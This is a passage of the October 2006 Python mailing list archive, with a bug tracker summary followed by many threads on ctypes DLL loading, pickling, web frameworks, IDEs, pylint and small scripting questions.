opened by Lars Gust?bel Tix: subwidget names (bug #1472877) (2006-10-25) http://python.org/sf/1584712 opened by Matthias Kievernagel Patches Closed ______________ patch for building trunk with VC6 (2006-03-24) http://python.org/sf/1457736 closed by loewis a faster Modulefinder (2005-11-11) http://python.org/sf/1353872 closed by theller Duplicated declaration of PyCallable_Check (2006-10-20) http://python.org/sf/1580872 closed by loewis Exec stacks in python 2.5 (2006-09-18) http://python.org/sf/1560695 closed by loewis tarfile.py: 100-char filenames are truncated (2006-10-24) http://python.org/sf/1583506 closed by gbrandl New / Reopened Bugs ___________________ 2.4.4c1 will not build when cross compiling (2006-10-16) CLOSED http://python.org/sf/1578513 opened by smithj --disable-sunaudiodev --disable-tk does not work (2006-10-17) http://python.org/sf/1579029 opened by ThurnerRupert Segfault provoked by generators and exceptions (2006-10-17) http://python.org/sf/1579370 opened by Mike Klaas Use flush() before os.exevp() (2006-10-18) http://python.org/sf/1579477 opened by Thomas Guettler Wrong syntax for PyDateTime_IMPORT in documentation (2006-10-18) CLOSED http://python.org/sf/1579796 opened by David Faure not configured for tk (2006-10-18) http://python.org/sf/1579931 opened by Carl Wenrich glob.glob("c:\\[ ]\*) doesn't work (2006-10-19) http://python.org/sf/1580472 opened by Koblaid "make install" for Python 2.4.4 not working properly (2006-10-19) http://python.org/sf/1580563 opened by Andreas Jung Configure script does not work for RHEL 4 x86_64 (2006-10-19) http://python.org/sf/1580726 reopened by gbrandl Configure script does not work for RHEL 4 x86_64 (2006-10-19) http://python.org/sf/1580726 reopened by spotvt01 Configure script does not work for RHEL 4 x86_64 (2006-10-19) http://python.org/sf/1580726 opened by Chris httplib hangs reading too much data (2006-10-19) http://python.org/sf/1580738 opened by Dustin J. Mitchell Definition of a "character" is wrong (2006-10-20) http://python.org/sf/1581182 opened by Adam Olsen pickle protocol 2 failure on int subclass (2006-10-20) http://python.org/sf/1581183 opened by Anders J. Munch missing __enter__ + __getattr__ forwarding (2006-10-21) http://python.org/sf/1581357 opened by Hirokazu Yamamoto Text search gives bad count if called from variable trace (2006-10-20) http://python.org/sf/1581476 opened by Russell Owen test_sqlite fails on OSX G5 arch if test_ctypes is run (2006-10-21) http://python.org/sf/1581906 opened by Skip Montanaro email.header decode within word (2006-10-22) http://python.org/sf/1582282 opened by Tokio Kikuchi Python is dumping core after the test test_ctypes (2006-10-23) http://python.org/sf/1582742 opened by shashi Bulding source with VC6 fails due to missing files (2006-10-23) CLOSED http://python.org/sf/1582856 opened by Ulrich Hockenbrink class member inconsistancies (2006-10-23) CLOSED http://python.org/sf/1583060 opened by EricDaigno Different behavior when stepping through code w/ pdb (2006-10-24) http://python.org/sf/1583276 opened by John Ehresman tarfile incorrectly handles long filenames (2006-10-24) CLOSED http://python.org/sf/1583537 opened by Mike Looijmans yield+break stops tracing (2006-10-24) http://python.org/sf/1583862 opened by Lukas Lalinsky __str__ cannot be overridden on unicode-derived classes (2006-10-24) http://python.org/sf/1583863 opened by Mike K SSL "issuer" and "server" functions problems - security (2006-10-24) http://python.org/sf/1583946 opened by John Nagle remove() during iteration causes items to be skipped (2006-10-24) CLOSED http://python.org/sf/1584028 opened by Kevin Rabsatt os.tempnam fails on SUSE Linux to accept directory argument (2006-10-25) CLOSED http://python.org/sf/1584723 opened by Andreas Events in list return None not True on wait() (2006-10-26) CLOSED http://python.org/sf/1585135 opened by SpinMess Bugs Closed ___________ from_param and _as_parameter_ truncating 64-bit value (2006-10-12) http://python.org/sf/1575945 closed by theller 2.4.4c1 will not build when cross compiling (2006-10-16) http://python.org/sf/1578513 closed by loewis Error with callback function and as_parameter with NumPy ndp (2006-10-10) http://python.org/sf/1574584 closed by theller PyThreadState_Clear() docs incorrect (2003-04-17) http://python.org/sf/723205 deleted by theller Wrong syntax for PyDateTime_IMPORT in documentation (2006-10-18) http://python.org/sf/1579796 closed by akuchling Configure script does not work for RHEL 4 x86_64 (2006-10-19) http://python.org/sf/1580726 closed by loewis Example typo in section 4 of 'Installing Python Modules' (2006-10-12) http://python.org/sf/1576348 closed by akuchling Bulding source with VC6 fails due to missing files (2006-10-23) http://python.org/sf/1582856 closed by loewis class member inconsistancies (2006-10-23) http://python.org/sf/1583060 closed by gbrandl mac installer profile patch vs. .bash_login (2006-09-19) http://python.org/sf/1561243 closed by sf-robot idle in python 2.5c1 freezes on macos 10.3.9 (2006-08-18) http://python.org/sf/1542949 closed by sf-robot Launcher reset to factory button provides bad command-line (2006-10-03) http://python.org/sf/1570284 closed by sf-robot tarfile incorrectly handles long filenames (2006-10-24) http://python.org/sf/1583537 deleted by cdwave remove() during iteration causes items to be skipped (2006-10-24) http://python.org/sf/1584028 closed by rhettinger os.tempnam fails on SUSE Linux to accept directory argument (2006-10-25) http://python.org/sf/1584723 closed by gbrandl Events in list return None not True on wait() (2006-10-26) http://python.org/sf/1585135 closed by gbrandl New / Reopened RFE __________________ Add os.link() and os.symlink() support for Windows (2006-10-16) http://python.org/sf/1578269 opened by M.-A. Lemburg From davidh at ilm.com Fri Oct 13 14:20:12 2006 From: davidh at ilm.com (David Hirschfield) Date: Fri, 13 Oct 2006 11:20:12 -0700 Subject: Sending binary pickled data through TCP In-Reply-To: References: <452EEEF1.6030606@ilm.com> <452FD3B1.9060306@ilm.com> Message-ID: <452FD8DC.9030303@ilm.com> I'm using cPickle already. I need to be able to pickle pretty arbitrarily complex python data structures, so I can't use marshal. I'm guessing that cPickle is the best choice, but if someone has a faster pickling-like module, I'd love to know about it. -Dave Fredrik Lundh wrote: > David Hirschfield wrote: > > >> Are there any existing python modules that do the equivalent of pickling >> on arbitrary python data, but do it a lot faster? I wasn't aware of any >> that are as easy to use as pickle, or don't require implementing them >> myself, which is not something I have time for. >> > > cPickle is faster than pickle. marshal is faster than cPickle, but only > supports certain code object types. > > > > -- Presenting: mediocre nebula. -------------- next part -------------- An HTML attachment was scrubbed... URL: From pwatson at redlinepy.com Mon Oct 30 10:32:43 2006 From: pwatson at redlinepy.com (Paul Watson) Date: Mon, 30 Oct 2006 09:32:43 -0600 Subject: codecs - where are those on windows? In-Reply-To: <1162202194.839564.30470@b28g2000cwb.googlegroups.com> References: <1162202194.839564.30470@b28g2000cwb.googlegroups.com> Message-ID: <45461B1B.6070101@redlinepy.com> GHUM wrote: > I stumbled apon a paragraph in python-dev about "reducing the size of > Python" for an embedded device: > > """ > In my experience, the biggest gain can be obtained by dropping the > rarely-used > CJK codecs (for Asian languages). That should sum up to almost 800K > (uncompressed), IIRC. > """ > > So, my question is: on Windows. where are those CJK codecs? Are they by > any chance included in the 1.867.776 bytes of python24.dll ? > > Best wishes, > > Harald If your installation directory is C:\Python25, then look in C:\Python25\lib\encodings From guettli+usenet at thomas-guettler.de Tue Oct 17 10:39:19 2006 From: guettli+usenet at thomas-guettler.de (Thomas Guettler) Date: 17 Oct 2006 14:39:19 GMT Subject: stdout not flushed before os.execvp() Message-ID: <4pk88nFjc1puU1@individual.net> Hi, I noticed, that sys.stout does not get flushed before the process is replaced. The last print statements (before execvp()) disappear. It only happens, if the output is redirected to a file (if sys.stdout is not line buffered). """#testexec.py import os print "Messsage" os.execvp("/bin/true", ["/bin/true"]) """ ===> python tmp/testexec.py Messsage ===> python tmp/testexec.py > out ; cat out Is this a bug or feature? My version: Python 2.4.2 (#1, May 2 2006, 08:28:01) GCC 4.1.0 (SUSE Linux)] on linux2 -- Thomas G?ttler, http://www.thomas-guettler.de/ http://www.tbz-pariv.de/ E-Mail: guettli (*) thomas-guettler + de Spam Catcher: niemand.leermann at thomas-guettler.de From dakman at gmail.com Mon Oct 30 12:45:29 2006 From: dakman at gmail.com (dakman at gmail.com) Date: 30 Oct 2006 09:45:29 -0800 Subject: Python 123 introduction In-Reply-To: References: Message-ID: <1162230329.413075.93370@b28g2000cwb.googlegroups.com> This is great! A excellent tutorial for somone who has prior experience in programming and is starting out in python. My friend keeps wanting me to teach him python, I think this would be the perfect link for him. Thanks. Jeremy Sanders wrote: > Here is a brief simple introduction to Python I wrote for a computing course > for graduate astronomers. It assumes some programming experience. Although > it is not a complete guide, I believe this could be a useful document for > other groups to learn Python, so I'm making it available for others to > download, and modify for their own needs (some of the content is site > specific). > > HTML version: > http://www-xray.ast.cam.ac.uk/~jss/lecture/computing/notes/out/python_123/ > Postscript LaTeX output: > http://www-xray.ast.cam.ac.uk/~jss/lecture/computing/notes/out/python_123.ps > PDF LaTeX output: > http://www-xray.ast.cam.ac.uk/~jss/lecture/computing/notes/out/python_123.pdf > LaTeX source: > http://www-xray.ast.cam.ac.uk/~jss/lecture/computing/notes/out/python_123.tex > > Jeremy > > -- > Jeremy Sanders > http://www.jeremysanders.net/ From onurb at xiludom.gro Wed Oct 11 08:25:00 2006 From: onurb at xiludom.gro (Bruno Desthuilliers) Date: Wed, 11 Oct 2006 14:25:00 +0200 Subject: Alternative constructors naming convention In-Reply-To: <1160564942.565119.226780@m7g2000cwm.googlegroups.com> References: <1160564942.565119.226780@m7g2000cwm.googlegroups.com> Message-ID: <452ce29d$0$24041$426a74cc@news.free.fr> Will McGugan wrote: > Hi, > > Is there a naming convention regarding alternative constructors? ie > static methods where __new__ is called explicity. I use lower_case for > methods in general, but thought maybe CamelCase would be better for > alternative contstructors to distinguish them from methods... Well... They are still methods, aren't they ?-) I don't remember any specific guideline, but FWIW, dict.from_keys() is an "alternative constructor". My 2 cents. -- bruno desthuilliers python -c "print '@'.join(['.'.join([w[::-1] for w in p.split('.')]) for p in 'onurb at xiludom.gro'.split('@')])" From daikan1998 at tom.com Sun Oct 8 11:36:13 2006 From: daikan1998 at tom.com (Dave) Date: 8 Oct 2006 08:36:13 -0700 Subject: missing has_column_major_storage Message-ID: <1160321773.130327.35190@m7g2000cwm.googlegroups.com> hello I have intalled the Enthought Edition 1.0.0, when i successed use f2py compile my fortran file to python module. But when I call "has_column_major_storage function" in the extended module. it's cannot find. "has_column_major_storage function" function have been remove from numpy/f2py ?? how can i change the array storage C to Fortran type?? thanks From pandyacus.xspam at xspam.sbcglobal.net Tue Oct 24 21:21:14 2006 From: pandyacus.xspam at xspam.sbcglobal.net (Chetan) Date: Wed, 25 Oct 2006 01:21:14 GMT Subject: Ctypes Error: Why can't it find the DLL. References: <1161711630.004644.187330@h48g2000cwc.googlegroups.com> Message-ID: "Mudcat" writes: Is the DLL loadable from a standalone C program? All that is needed is a call to LoadLibrary() and check the return. If the full path is not specified, the dll is searched in the predefined order - I believe it is executable directory - in this case, directory of python.exe current directory - set the current drive and path to whereever you want before trying to load the dll windows system directory windows directory Directories specified in PATH evnvironment variable -Chetan > Hi, > > I can't figure out why ctypes won't load the DLL I need to use. I've > tried everything I can find (and the ctypes website is down at the > moment). Here's what I've seen so far. > > I've added the file arapi51.dll to the system32 directory. However > when I tried to access it I see this: > >>>> print windll.arapi51 # doctest: +WINDOWS > Traceback (most recent call last): > File "", line 1, in ? > File "C:\Python24\Lib\site-packages\ctypes\__init__.py", line 387, in > __getattr__ > dll = self._dlltype(name) > File "C:\Python24\Lib\site-packages\ctypes\__init__.py", line 312, in > __init__ > self._handle = _dlopen(self._name, mode) > WindowsError: [Errno 126] The specified module could not be found > > So then I use the find_library function, and it finds it: > >>>> find_library('arapi51.dll') > 'C:\\WINNT\\system32\\arapi51.dll' > > At that point I try to use the LoadLibrary function, but it still can't > find it: > >>>> windll.LoadLibrary('C:\WINNT\system32\arapi51.dll') > Traceback (most recent call last): > File "", line 1, in ? > File "C:\Python24\Lib\site-packages\ctypes\__init__.py", line 395, in > LoadLibrary > return self._dlltype(name) > File "C:\Python24\Lib\site-packages\ctypes\__init__.py", line 312, in > __init__ > self._handle = _dlopen(self._name, mode) > WindowsError: [Errno 126] The specified module could not be found > > What am I doing wrong? I've used ctypes before and not had this > problem. Before, I've just added the file to the system32 directory and > not had this problem. > > On another note, if I wanted to include these DLL's to be a part of an > installable package, how would I configure ctypes to use DLL's from a > local directory? > > Thanks, > Marc From jkn_gg at nicorp.f9.co.uk Tue Oct 31 12:22:42 2006 From: jkn_gg at nicorp.f9.co.uk (jkn) Date: 31 Oct 2006 09:22:42 -0800 Subject: Python tools for managing static websites? In-Reply-To: References: Message-ID: <1162315362.495224.46530@h48g2000cwc.googlegroups.com> Hi there I used cheetah (cheetahtemplate) and a makefile for something similar ;-). It worked pretty well for me. I only have a dozen or so pages though. I'm currently converting this to Jinja, which is a similar templating system compatible with Django. I plan to later migrate to dynamic pages under Django. http://www.cheetahtemplate.org http://wsgiarea.pocoo.org/jinja/ HTH Jon N From martin at v.loewis.de Tue Oct 24 14:09:54 2006 From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=) Date: Tue, 24 Oct 2006 20:09:54 +0200 Subject: Help: Python2.3 & Python2.4 on RHEL4 x86_64 In-Reply-To: References: <45386B4C.4020001@v.loewis.de> <453d4821$0$22566$9b622d9e@news.freenet.de> <453DA645.2090009@v.loewis.de> <453E4C49.4000401@v.loewis.de> Message-ID: <453e56f2$0$30357$9b622d9e@news.freenet.de> Christopher Taylor schrieb: > I disagree. From what I see, the error, as far as python is > considered, is not being able to specify the location where libs are > put, despite the fact that the --LIBDIR= option is listed. It just > happens to manifest itself in AMD64/EM64T Linux, specifically RH linux > where 64bit libs are put in /usr/lib64 and 32bit libs in /usr/lib. Ok. One solution might be to remove the libdir option, then. Python attempts to be "movable", i.e. the libraries are found relative to the executable (via dirname(sys.executable)+"../lib/..."). If libdir is supported, this approach must be given up - or libdir must be given up. >> The x86_64 community has been using Python for a while, and >> apparently has solved this problem already. You should try >> to find out how they did it. > > Where might I go to look on how to get this working? The Linux distributions already provide Python binaries (I believe Redhat does, too). You could study what they do to achieve that. > P.S. I posted on python-dev and I haven't seen my post show up yet, > nor any responces .... is that list moderated? No, it should show up automatically. Regards, Martin From mail at microcorp.co.za Sat Oct 7 04:30:21 2006 From: mail at microcorp.co.za (Hendrik van Rooyen) Date: Sat, 7 Oct 2006 10:30:21 +0200 Subject: HOST - Assembla Inc. Breakout - Copyright Violation by Mr. AndySingleton References: <1160082179.215729.164060@c28g2000cwb.googlegroups.com> <1160088907.689743.252500@m7g2000cwm.googlegroups.com> <1160100015.211649.310540@m73g2000cwd.googlegroups.com> <4omn7jFfe26cU1@uni-berlin.de> <4omr1tFfbn9dU1@uni-berlin.de> Message-ID: <000f01c6e9eb$0e84ac00$03000080@hendrik> "Diez B. Roggisch" wrote: 8<--------------------------------------- > ... - I don't wanna get > into the details of my underwear.... :P > > Diez Why not? - what are you hiding? - Hendrik From dannycolligan at gmail.com Tue Oct 31 13:46:02 2006 From: dannycolligan at gmail.com (Danny Colligan) Date: 31 Oct 2006 10:46:02 -0800 Subject: Why can't you assign to a list in a loop without enumerate? Message-ID: <1162320362.257426.121370@e3g2000cwe.googlegroups.com> In the following code snippet, I attempt to assign 10 to every index in the list a and fail because when I try to assign number to 10, number is a deep copy of the ith index (is this statement correct?). >>> a = [1,2,3,4,5] >>> for number in a: ... number = 10 ... >>> a [1, 2, 3, 4, 5] So, I have to resort to using enumerate to assign to the list: >>> for i, number in enumerate(a): ... a[i] = 10 ... >>> a [10, 10, 10, 10, 10] My question is, what was the motivation for returning a deep copy of the value at the ith index inside a for loop instead of the value itself? Also, is there any way to assign to a list in a for loop (with as little code as used above) without using enumerate? Thanks, Danny From faulkner612 at comcast.net Mon Oct 2 11:11:24 2006 From: faulkner612 at comcast.net (faulkner) Date: 2 Oct 2006 08:11:24 -0700 Subject: How can I make a class that can be converted into an int? In-Reply-To: References: Message-ID: <1159801884.059128.285880@m73g2000cwd.googlegroups.com> __int__ __long__ __float__ Matthew Wilson wrote: > What are the internal methods that I need to define on any class so that > this code can work? > > c = C("three") > > i = int(c) # i is 3 > > I can handle the part of mapping "three" to 3, but I don't know what > internal method is called when int(c) happens. > > For string conversion, I just define the __str__ method. What's the > equivalent for int? For float, too, while I'm at it? > > TIA > > Matt > > -- > A better way of running series of SAS programs: > http://overlook.homelinux.net/wilsonwiki/SasAndMakefiles From paul at boddie.org.uk Wed Oct 11 09:59:32 2006 From: paul at boddie.org.uk (Paul Boddie) Date: 11 Oct 2006 06:59:32 -0700 Subject: Python component model References: <1160570340.981862.212380@c28g2000cwb.googlegroups.com> Message-ID: <1160575172.300208.82370@i42g2000cwa.googlegroups.com> Fredrik Lundh wrote: > Paul Boddie wrote: > > > > Well, that's just another way of saying that the scene remains > > stagnant, because I don't see any winners. > > one, two, overflow ? or are you saying that the lack of a monopoly means > market stagnation, no matter how innovative the three big ones are ? I've never maintained that a monopoly on how Web programming is done would be a good thing. All I've ever tried to understand is why people haven't tried to improve the generic support for Web programming (and a whole load of other things) even to the level of something like the DB-API. Take another area: all the time you get people asking how they can conveniently access some Web site using a Python-based client, and loads of people are coming up against issues with urllib, urllib2, other libraries. Wouldn't it be good if the functionality were just there in the standard library in a sane form? Or is the standard library just a "grab bag" of demos these days? [...] > the standard library has never included non-trivial applications (and the three big > ones are configurable applications, not libraries). I'm not sure anyone has ever > looked to the standard library for domain-specific applications or toolkits. These non-trivial applications are just libraries with icing on. My critique of the Web standardisation scene is that no-one is that interested in cooperating on the libraries. Of course, that isn't a bad thing if you choose your framework and find the facilities you need, but when this is happening at such a low level in the "framework stack", you needlessly fragment the scene. TurboGears and Django have slightly different approaches, so if you're the sort of person who will buy the shiny new TurboGears book (the one with the snake holding a lightsabre, or something), you'll probably want to get the Django one as well: great news for publishers, an own-goal for the common cause. > > The thing is that people want a coherent message about Python and Web > > programming. > > the message is out there, for anyone who wants to listen. and they are listening. And that message is...? All I see is the JPF, the PFJ and the JPPF. > > why else do people still ask CGI-related questions on comp.lang.python? > > because CGI works well for simple applications where you don't want to waste > any time whatsoever on hosting and deployment issues ? heck, I spent parts of > last weekend hacking on a light-weight CGI-based publishing system for portions > of the effbot.org site, using Python 2.2 on Solaris. loads of fun. Quite. But I'd also suggest that people use the cgi module and BaseHTTPServer because the former is a well-understood technology and the latter is something you can read about in a couple of pages in the library reference. Indeed, there are lots of BaseHTTPServer-related projects out there, which is not particularly good news for deployment, but then there's that big gap between the standard library and the megaprojects that I mentioned. > >> (as for WSGI, it's plumbing. You can of course build fun things from spare parts and > >> plumbing, and there are really interesting things going on in certain research labs, as > >> usual, but if you want turn-key stuff, pick one of the big three.) > > > > After seeing WSGI being elevated to non-plumbing (since plumbing is > > just stuff that helps other stuff to work, not something you mess with > > on a daily basis), I think the current strategy with respect to > > "floating more boats" is to pretend that WSGI is all you need. > > I've never seen anyone besides Ian Bicking make that argument (and he's using > WSGI plus a zillion ready-made building blocks when doing that). You should read some of the articles linked to from wsgi.org, then. Paul From fidel.andrade at gmail.com Fri Oct 20 03:59:00 2006 From: fidel.andrade at gmail.com (Fidel) Date: Fri, 20 Oct 2006 01:59:00 -0600 Subject: I like python. Message-ID: <254cf6720610200059m3e41cfafr76f536947de0e7ac@mail.gmail.com> I'm not a coder.. I'm just a person that trys to do things with languages he likes. Sometimes I'm successful, mostly not. I do know that before I bother a list with a silly question I should do my best to research for an answer myself. ala RTFM. That said my searches haven't found me what I am looking.. lack of a decent keyword sequence.. anywho.. Could someone please tell me what I need to put into a python script to not have a window come up however briefly? Like when I double click on the script, it will do it's job but won't open a command window then close it.. I hope that explains what I'm looking for. If I see the line I can figure out by syntax where it should go. I'm really good at learning the gist of languages by syntax. Thank you all for your time Peace -- Fidel From ptmcg at austin.rr._bogus_.com Tue Oct 24 15:12:14 2006 From: ptmcg at austin.rr._bogus_.com (Paul McGuire) Date: Tue, 24 Oct 2006 19:12:14 GMT Subject: mean ans std dev of an array? References: <1161640155.326890.288440@i42g2000cwa.googlegroups.com><7xpsci665e.fsf@ruckus.brouhaha.com><1161713593.138960.310030@f16g2000cwb.googlegroups.com> Message-ID: wrote in message news:mailman.1106.1161715405.11739.python-list at python.org... > > >> n = len(a) > >> mean = sum(a) / n > >> sd = sqrt(sum((x-mean)**2 for x in a) / n) > ... > >> If there is a faster way... like transferring the array to a > >> different container class... but what? > > Perhaps: > > >>> import scipy > >>> print scipy.mean([1,2,3,4,5,6]) > 3.5 > >>> print scipy.std([1,2,3,4,5,6]) > 1.87082869339 > > Skip Can scipy work with an iterator/generator? If you can only make one pass through the data, you can try this: lst = (random.gauss(0,10) for i in range(1000)) # compute n, sum(x), and sum(x**2) with single pass through list n,sumx,sumx2 = reduce(lambda a,b:(a[0]+b[0],a[1]+b[1],a[2]+b[2]), ((1,x,x*x) for x in lst) ) sd = sqrt( (sumx2 - (sumx*sumx/n))/(n-1) ) -- Paul From robert.kern at gmail.com Sun Oct 22 19:17:06 2006 From: robert.kern at gmail.com (Robert Kern) Date: Sun, 22 Oct 2006 18:17:06 -0500 Subject: pylint: What's wrong with the builtin map() In-Reply-To: References: Message-ID: Tuomas wrote: > #!/usr/bin/python > """test pydev_0.9.3/../pylint""" > __revision__ = "test_mod 0.1 by TV 06/10/22" > > lst = ['aaa', ' bbb', '\tccc\n'] > lst = map(lambda x: x.strip(), lst) > > result = """ > No config file found, using default configuration > ************* Module test_mod > W: 6: Used builtin function 'map' > E: 6: Using variable 'x' before assigment > ... > """ In addition to what the others said, note that pylint is entirely configurable. If you don't want to be bothered with warnings about map() which you are going to ignore, a simple modification to the pylint configuration file will prevent it from doing that check. -- Robert Kern "I have come to believe that the whole world is an enigma, a harmless enigma that is made terrible by our own mad attempt to interpret it as though it had an underlying truth." -- Umberto Eco From fabiofz at gmail.com Fri Oct 27 11:14:03 2006 From: fabiofz at gmail.com (Fabio Zadrozny) Date: Fri, 27 Oct 2006 12:14:03 -0300 Subject: PyDev + Eclipse (Was: Re: What's the best IDE?) In-Reply-To: References: <1161818092.830293.141880@k70g2000cwa.googlegroups.com> Message-ID: On 10/26/06, Michael B. Trausch wrote: > > Kenneth McDonald wrote: > > > > With the most recent edition of PyDev, I find Eclipse works quite well > > for me. > > > > Since you mentioned it, I have a question that searching around and > poking around has not solved for me, yet. > > Do you have auto-completion working with your setup? It does not seem > to work at all for me. I have read through the configuration help, and > there are no firewalls on my system at all, and everything else works > save for auto-completion, which I have had to disable. If left enabled, > even with low timeouts, I have to kill Eclipse and start it again. :-/ > > Do you have some firewall on? There was a report ( http://sourceforge.net/tracker/index.php?func=detail&aid=1509582&group_id=85796&atid=577329) in which the problem was actually a misconfiguration when creating local-loops (accessing 127.0.0.1) in linux. If this is not your problem, please create a bug-report -- check http://pydev.sf.net/faq.html#ref_0 for bug-writing guidelines. Cheers, Fabio -------------- next part -------------- An HTML attachment was scrubbed... URL: From jstroud at mbi.ucla.edu Sun Oct 29 07:33:24 2006 From: jstroud at mbi.ucla.edu (James Stroud) Date: Sun, 29 Oct 2006 12:33:24 GMT Subject: enumerate improvement proposal In-Reply-To: References: Message-ID: Fredrik Lundh wrote: > James Stroud wrote: > >> def enumerate(itrbl, start=0, step=1): >> i = start >> for it in itrbl: >> yield (i, it) >> i += step > > that's spelled > > izip(count(start), sequence) > > in today's Python. > > > def in_interval(test, bounds, first=1, reverse=False): > > why is it this function's job to add an offset to the actual sequence > index? > > > BTW, thank you for your tip. James From bdesth.quelquechose at free.quelquepart.fr Thu Oct 26 18:37:11 2006 From: bdesth.quelquechose at free.quelquepart.fr (Bruno Desthuilliers) Date: Fri, 27 Oct 2006 00:37:11 +0200 Subject: Search & Replace In-Reply-To: <1161898031.481159.202310@f16g2000cwb.googlegroups.com> References: <1161898031.481159.202310@f16g2000cwb.googlegroups.com> Message-ID: <4541341c$0$21573$426a74cc@news.free.fr> DataSmash a ?crit : > Hello, > I need to search and replace 4 words in a text file. > Below is my attempt at it, but this code appends > a copy of the text file within itself 4 times. > Can someone help me out. > Thanks! > > # Search & Replace > file = open("text.txt", "r") NB : avoid using 'file' as an identifier - it shadows the builtin 'file' type. > text = file.read() > file.close() > > file = open("text.txt", "w") > file.write(text.replace("Left_RefAddr", "FromLeft")) > file.write(text.replace("Left_NonRefAddr", "ToLeft")) > file.write(text.replace("Right_RefAddr", "FromRight")) > file.write(text.replace("Right_NonRefAddr", "ToRight")) > file.close() > See Mark and Tim's answers for your bug. Another (potential) problem with your code is that it may not work too well for big files. It's ok if you know that the files content will always be small enough to not eat all memory. Else, taking a "line by line" approach is the canonical solution : def simplesed(src, dest, *replacements): for line in src: for target, repl in replacements: line = line.replace(target, repl) dest.write(line) replacements = [ ("Left_RefAddr", "FromLeft"), ("Left_NonRefAddr", "ToLeft"), ("Right_RefAddr", "FromRight"), ("Right_NonRefAddr", "ToRight"), ] src = open("hugetext.txt", "r") dest = open("some-temp-name.txt", "w") simplesed(src, dest, *replacements) src.close() dest.close() os.rename("some-temp-name.txt", "hugetext.txt") HTH From rdiaz02 at gmail.com Sun Oct 15 17:34:14 2006 From: rdiaz02 at gmail.com (Ramon Diaz-Uriarte) Date: Sun, 15 Oct 2006 23:34:14 +0200 Subject: IDE that uses an external editor? In-Reply-To: <20061014212050.C3F7.SLAWOMIR.NOWACZYK.847@student.lu.se> References: <20061014121444.C3D0.SLAWOMIR.NOWACZYK.847@student.lu.se> <17713.9709.575464.630058@montanaro.dyndns.org> <20061014212050.C3F7.SLAWOMIR.NOWACZYK.847@student.lu.se> Message-ID: <624934630610151434t5bb8b9f8l6572f26a69c08b54@mail.gmail.com> On 10/14/06, Slawomir Nowaczyk wrote: > On Sat, 14 Oct 2006 13:01:17 -0500 > skip at pobox.com wrote: (...) > #> I realize I can do a lot within Emacs/XEmacs, but I suspect with a > #> tool like Eclipse I could do more. However, I don't want to give up > #> the text editing power of Emacs to get it. > > I don't know... I have never, personally, used Eclipse, so I cannot > comment on that. It is highly dependent on what you are working on, I > presume. > I've tried using Eclipse several times, because several good meaning people told me things like "you coud do more". But I've always: a) felt overwhelmed and lost (like in "this is way too complex"); b) felt deprived of valuable screen real-state (it might be personal thing, because on my .emacs I turn off the toolbar and menu bar); c) eventually felt that time reading the Eclipse tutorial and docs would be better spent reading more of the Emacs manual. I guess, though, that this is very personal, and that I might be missing the point of Eclipse (and I don't do any Java programming). -- Ramon Diaz-Uriarte Statistical Computing Team Structural Biology and Biocomputing Programme Spanish National Cancer Centre (CNIO) http://ligarto.org/rdiaz From http Wed Oct 25 16:12:50 2006 From: http (Paul Rubin) Date: 25 Oct 2006 13:12:50 -0700 Subject: cleaner way to write this? References: <7xwt6o44um.fsf@ruckus.brouhaha.com> <%dO%g.151$1n3.4135@news.tufts.edu> <7x8xj4i5gq.fsf@ruckus.brouhaha.com> <2qP%g.161$1n3.4136@news.tufts.edu> Message-ID: <7x4ptsxigt.fsf@ruckus.brouhaha.com> John Salerno writes: > Interesting idea to use try/finally to ensure that dlg.Destroy() runs > even with a return earlier in the method. Would this be considered > appropriate use though, or would it be misusing try/finally? I thought > the point of a try block was for when you anticipated exceptions, I think it's ok to treat the return statement as sort of an exception. You could create an actual exception and raise it instead, but in such a small function that clutters up the code unnecessarily. At most I'd add a comment near the return statement, mentioning that the finally: clause will clean up the dialog. > but given that try/except and try/finally used to be separate > blocks, That old separation was just an artifact of how the parser was originally written, I believe. It was always considered an annoyance and it finally got fixed. From paul at boddie.org.uk Thu Oct 19 06:29:00 2006 From: paul at boddie.org.uk (Paul Boddie) Date: 19 Oct 2006 03:29:00 -0700 Subject: Book about database application development? References: <0001HW.C157FA8900644D9AF0407530@news.individual.de> <7xlknhg2rz.fsf@ruckus.brouhaha.com> <0001HW.C158378C00729A42F0407530@news.individual.de> <453352d4$0$12918$426a34cc@news.free.fr> <0001HW.C159B10900A0DF8AF0407530@news.individual.de> <8Z4Zg.6659$5i7.274@newsreading01.news.tds.net> <0001HW.C15AFA6600D738B5F0488530@news.individual.de> <1161163215.654709.249960@i3g2000cwc.googlegroups.com> Message-ID: <1161253739.960413.267960@b28g2000cwb.googlegroups.com> Dennis Lee Bieber wrote: > On 18 Oct 2006 02:20:15 -0700, "Paul Boddie" > declaimed the following in comp.lang.python: > > > > Aren't we going round in circles here? There presumably are grid > > Possibly -- it was the fairly recent lamentation about Delphi that > made me think the initial desire had been for some such "automatic" > linkage between GUI and database that would have been preferred... I think it's about finding the right level: the stated toolkits (Kiwi, Thyme, GNUe, TinyERP) are probably quite high-level or mix in various application-specific bonus material, and perhaps a fairly elementary datagrid widget is what is being sought. > > widgets connected to database tables/views/cursors, if only exposed via > > user interface toolkits and other frameworks such as PyQt, Dabo and so > > on, but I thought the questioner wanted to know how to implement these > > things from the ground up. > > > ... lacking such automation, a search for books on how to do this was > next. But given so many combinations of toolkits, I didn't think a > general (cookbook?) solution would be available. True. Still, I can only point to things which might provide useful building blocks in developing some of the solutions mentioned above. For example, PyQt's QSqlRelationalTableModel and QTableView might be acceptable building blocks: http://www.riverbankcomputing.com/Docs/PyQt4/html/qsqlrelationaltablemodel.html See here for Python-based examples: http://indico.cern.ch/contributionDisplay.py?contribId=33&sessionId=41&confId=44 I'm sure other people can provide links to resources for other toolkits and frameworks. Paul From horpner at yahoo.com Fri Oct 13 13:37:57 2006 From: horpner at yahoo.com (Neil Cerutti) Date: 13 Oct 2006 19:37:57 +0200 Subject: Best IDE? References: <1160749749.140484.97990@f16g2000cwb.googlegroups.com> Message-ID: On 2006-10-13, Theerasak Photha wrote: > I use GNU Emacs 22 and a screen session. > > Advantages: > > * Comprehensive, comprehensive, comprehensive...tags support, > Subversion integration, syntax highlighting, sophisticated > indentation, whatever I want basically > * Resource-light, contrary to the preconceived opinions some have of Emacs > * Keyboard-oriented; ergonomic and fast (Xfce is set up to switch > desktops by key as well) > * Available on any major platform that you would want to use Python on > * And it's free * Totally configurable. > Disadvantages: > > * No UI builder...for this you can use Glade or maybe Boa Constructor > * Not many else...none other that I can think of right now, actually * Totally configurable. -- Neil Cerutti From bignose+hates-spam at benfinney.id.au Tue Oct 31 06:53:56 2006 From: bignose+hates-spam at benfinney.id.au (Ben 